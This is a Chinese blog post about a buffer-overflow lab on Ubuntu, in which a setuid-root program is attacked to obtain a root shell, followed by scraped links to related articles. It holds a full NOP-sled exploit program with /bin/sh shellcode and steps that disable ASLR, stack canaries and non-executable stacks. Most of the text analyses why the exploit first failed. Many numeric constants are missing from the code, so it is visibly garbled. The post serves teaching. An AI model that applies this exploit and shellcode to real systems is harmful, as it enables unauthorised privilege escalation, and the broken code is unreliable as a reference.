Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)
缓冲器溢出攻击实验题目:
下边的代码摘自《黑客攻防技术宝典——系统实战篇(第 2 版)》2.5 节,攻击该代码,获得root 权限,实现相应的效果。
int main(int argc, char *argv[]) { char little_array[]; if(argc>) strcpy(little_array,argv[]); }
实验步骤:
1) 首 先 确 保 系 统 禁 用 了 ASLR ( Address space layout randomization )。
cat /proc/sys/kernel/randomize_va_space
2) 利用 find_start 函数可以找出 ESP 的地址。
//find_start.c #include <stdlib.h> #include <string.h> unsigned long find_start(void) { __asm__("movl %esp, %eax"); } int main() { printf("0x%x/n",find_start()); }
如果每次找到的地址都相同,说明堆栈的地址动态分配确实关闭了。
如果地址不同,则需要禁用ASLR(Address space layout randomization):
sudo sysctl -w kernel.randomize_va_space=
3) 构造被攻击宿主程序 victim,把 victim 程序属主设为 root,suid 位打开,保证程序在普通用户执行时也具有 root 权限。这样当攻击成功后,就可以从宿主程序派生出继承到root 权限的 shell。
4) 采用 NSR(NOP-SHELL-RETURN)模式构造溢出代码 nopattack.c 并编译,代码如下:
#include <stdlib.h> #include <stdio.h> #include <string.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 600 #define NOP 0x90 char shellcode[] = "/xeb/x1a/x5e/x31/xc0/x88/x46/x07/x8d/x1e/x89/x5e/x08/x89/x46" "/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xe1" "/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > ) bsize = atoi(argv[]); if (argc > ) offset = atoi(argv[]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory./n"); exit(); } addr = get_sp() - offset; printf("Using address: 0x%x/n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = ; i < bsize; i+=) *(addr_ptr++) = addr; for (i = ; i < bsize/; i++) buff[i] = NOP; ptr = buff + ((bsize/) - (strlen(shellcode)/)); for (i = ; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - ] = '/0'; memcpy(buff,"BUF=",); putenv(buff); system("/bin/bash"); }
5) 编译代码,并尝试攻击 victim 程序,直到获取到 root 权限。下面取 BUFFER 大小为 600,
Offset 为 400,构造 NSR,攻击 victim 成功获取到具有 root 权限的 shell。
实验遇到的问题和解决:
1、最开始做这个实验的时候,怎么也拿不到root权限,每次都是提示segement fault,开始我一直以为是偏移地址取得不对,被这个问题困扰了很久。
后来经过很长时间的分析,再对比分析了别人成功的实验的程序和我的程序的区别上,才找出了问题所在。
2、尝试使用别人的vicitim程序执行溢出,发现很容易就成功获得root权限了。
3、把别人的成功溢出的程序拿过来,做对比分析,假设将自己编译的两个程序分别命名为nopattack1,victim1,别人的可以溢出的程序命名为nopattack2,vicitm2。做组合对比试验,得到如下结果。
实验分组 |
攻击程序 |
被攻击程序 |
溢出成功?(Y/N) |
1 |
nopattack1 |
victim1 |
N |
2 |
nopattack2 |
victim2 |
Y |
3 |
nopattack1 |
victim2 |
Y |
4 |
nopattack2 |
victim1 |
N |
通过对比分析,知道只要被攻击程序是victim2(不是自己编译的),就可以溢出成功。
4、将victim1和victim2进行对比,用gdb看程序的汇编代码完全相同。开始发现文件比他们的略大,后来发现是由于编译时加了-g造成的,去掉-g后文件大小完全相同。
5、将vicitim1和vicitim2拿到windows下,用Ultracompare进行对比,发现略有不同。
左 边的re为自己编译的程序,右边的rootecho可以成功溢出的程序。后面也有些字段不同,但是感觉和实际运行无关,左边的06h和右边的07h的差异 估计是造成本地程序不能成功溢出的原因。用UltraEdit修改re的程序中的06h为07h,重新放入ubuntu系统进行测试,发现可以成功溢出。 拿各程序对比,发现均有这个问题,估计是症结所在。
6、既然是程序的问题,那么就要分析文件的结构,看这个字段究竟是何涵义。Linux的程序格式是ELF格式。那么就要分析ELF格式。bash下用readelf命令可以分析程序的存储结构。运行如下命令将分析结果导出到profile文件。
readelf -a re>profile_re
readelf -a rootecho>profile_rootecho
将文件用UltraCompare进行对比。发现一些不同,最重要的不同是GNU_STACK处的不同。
左边的RW,右边的是RWE,E显然是代表个执行。查阅资料后可知,GNU_STACK这行代表的是堆栈的情况,RW代表个读写,RWE代表可读写和执行。
显然真正的问题在于本地编译的程序在堆栈上没有可执行权限,这也是造成能顺利做出第一问(因为不需要在堆栈上执行代码,只需程序跳转到代码段而已),但同样原理的第二问和第三问(要在栈上执行shell)就不可能做出来的原因。
7、 不过PPT上说只要在编译代码时加上-z –execstack就可以使堆栈上可以执行代码,然而事实却不是这样的。为了验证这个想法,重新编译代码进行了进一步的验证。从运行的效果可以看出,虽 然gcc编译代码的时候,虽然添加了-z –execstack参数,栈依旧是不可执行的,这估计是因为gcc版本过高的问题。
8、解决方案:
1)在本地安装execstack
安装命令:sudo apt-get install execstack
2)用execstack修改程序堆栈的可执行属性。
修改命令:execstack -s victim
3)对修改后的victim进行溢出攻击。当vicitm具有栈可执行的性质后,很容易就通过溢出攻击拿到了root权限。
实验问题总结:
gcc -fno-stack-protector -z -execstack -mpreferred-stack-boundary=2 -g function.c -o function这条指令中,-fno-stack-protector可以禁用堆栈保护,-mpreferred-stack-boundary=2可 以是程序边界对齐,-g是程序是否带调试功能,可不用,但是-z –execstack却不一定能使程序的栈可执行,估计和GCC版本有关。通过readelf -a function|grep GNU_STACK指令可以查看funcition的堆栈是否可执行,如果是RW,说明栈只是可读写,还不可执行,任何尝试的攻击都会造成segment fault,如果是RWE说明栈可执行,可以通过buffer overflow,执行栈上的shell指令。
如果程序的栈不可执行指令,那么溢出是徒劳的。因此需要修改程序栈的可执行性。直接通过修改二进制比较麻烦,而且较难找到那个字段,这里用execstack程序,修改程序栈的可执行属性,将栈设置为可执行指令,可以顺利地进行实验。
后记:
其 实网上关于缓冲区溢出的实验教程很多,而自己当时遇到了问题,绕了很多了弯路才找出了问题的原因所在,照这些教程也不能解决,而问题的原因其实是并不是方 法的问题,而是对堆栈的可执行性的认识不够,理所当然地认为栈是可执行的。写这篇博文的主要目的是希望大家都能认识大对工程实际问题不能想当然,要多分析 前因后果,否则要绕弯路。如果大家遇到了同样的问题,而也能用这个方法解决,足矣。
Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)的更多相关文章
- CSAPP缓冲区溢出攻击实验(下)
CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom
CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...
- CSAPP缓冲区溢出攻击实验(上)
CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz
前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...
- Linux下缓冲区溢出攻击的原理及对策(转载)
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...
- Linux下缓冲区溢出攻击的原理及对策
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...
- Ubuntu下常用强化学习实验环境搭建(MuJoCo, OpenAI Gym, rllab, DeepMind Lab, TORCS, PySC2)
http://lib.csdn.net/article/aimachinelearning/68113 原文地址:http://blog.csdn.net/jinzhuojun/article/det ...
- snort简介以及在Ubuntu下的安装
一.简介 Snort是一套开放源代码的网络入侵预防软件与网络入侵检测软件.Snort使用了以侦测签章(signature-based)与通信协议的侦测方法.Snort是一个免费的IDS(入侵监测系统) ...
- 20145319 return-to-libc攻击实验
20145319 Return-to-libc攻击实验 一 实验内容 return-to-libc实验是一个基于缓冲区溢出攻击实验的基础上的一种攻击实验 缓冲区溢出攻击相关知识: 原理:通过一段包含s ...
随机推荐
- iOS 图片加载速度极限优化—FastImageCache解析
FastImageCache是Path团队开发的一个开源库,用于提升图片的加载和渲染速度,让基于图片的列表滑动起来更顺畅,来看看它是怎么做的.优化点iOS从磁盘加载一张图片,使用UIImageVIew ...
- Maven update project...后jdk变成1.5,update project后jdk版本改变
Maven update project...后jdk变成1.5,update project后jdk版本改变 ============================== 蕃薯耀 2018年3月14 ...
- 查询mssql 密码
select name,password from syslogins Select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_ ...
- RF变量列表类型@{}和${}列表类型的关系
总结:@{}列表类型和${}列表类型都可以表示list类型,均可以通过 set variable 和 create list 创建,区别主要是展示格式和引用格式: @{}类型可以通过 set vari ...
- iOS开发--UILabel可以显示\n
UILabel*label; //设置换行 label.lineBreakMode = UILineBreakModeWordWrap; label.numberOfLines = ; 换行符还是“\ ...
- 简单的Excel导入(上传、解析、持久化)
/** * excel导入 * @param req * @param resp * @return */ public void excelImport(){ //先将要上传的Excel文件上传到项 ...
- iOS - Action Extension
上一篇<iOS开发 之 Share Extension>介绍了分享扩展的开发与使用,本篇主要还是讲述在系统分享菜单中最底下一栏的功能扩展:Action Extension,该扩展跟Shar ...
- QT之 Hello World
下载…… 我下载的Qt creater 版本为4.2.1,Qt版本为5.8.0 打开QT Creater 1. 新建项目 New Project -> Application -> Q ...
- <转>ML 相关算法参考
转自 国内外网站如果你想搜索比较新颖的机器学习资料或是文章,可以到以下网站中搜索,里面不仅包括了机器学习的内容,还有许多其它相关领域内容,如数据科学和云计算等.InfoWord:http://www. ...
- kubernetes 测试 Mariadb gtid 主从复制.
k8s 为 1个master 3个node 下载镜像 : mariadb 镜像版本是10.2.13 (此时10.3还没发布正式版) docker pull mariadb push到私有仓库 dock ...